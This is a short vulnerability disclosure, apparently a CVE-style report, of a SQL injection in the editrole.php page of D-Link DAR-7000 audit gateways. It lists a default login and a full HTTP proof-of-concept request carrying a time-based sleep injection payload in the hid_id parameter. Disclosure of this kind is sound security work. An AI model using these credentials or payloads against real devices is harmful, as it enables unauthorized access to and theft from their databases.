There is a backend SQL injection vulnerability in the D-LINK DAR-7000 series online behavior audit gateway. Attackers can exploit vulnerabilities to gain server privileges or cause business impact on the system.
official： http://www.dlink.com.cn/
version:DAR-7000-40( DAR V31R02B1413C)
Vulnerability Path ：/sysmanage/editrole.php
Vulnerability type： SQL injection
Vulnerability hazards：Attackers can exploit vulnerabilities to obtain sensitive database information
See the login page.
There is a default account password present： test/admin@123
Construct the following POC to determine the presence of SQL injection for the id parameter
POC: POST /sysmanage/editrole.php HTTP/1.1 Host: Cookie: PHPSESSID=bbecd470b51ebcf03793acadba87a61f User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 39
hid_id=(select*from(select(sleep(3)))a)
By analogy, obtain the database name nsg
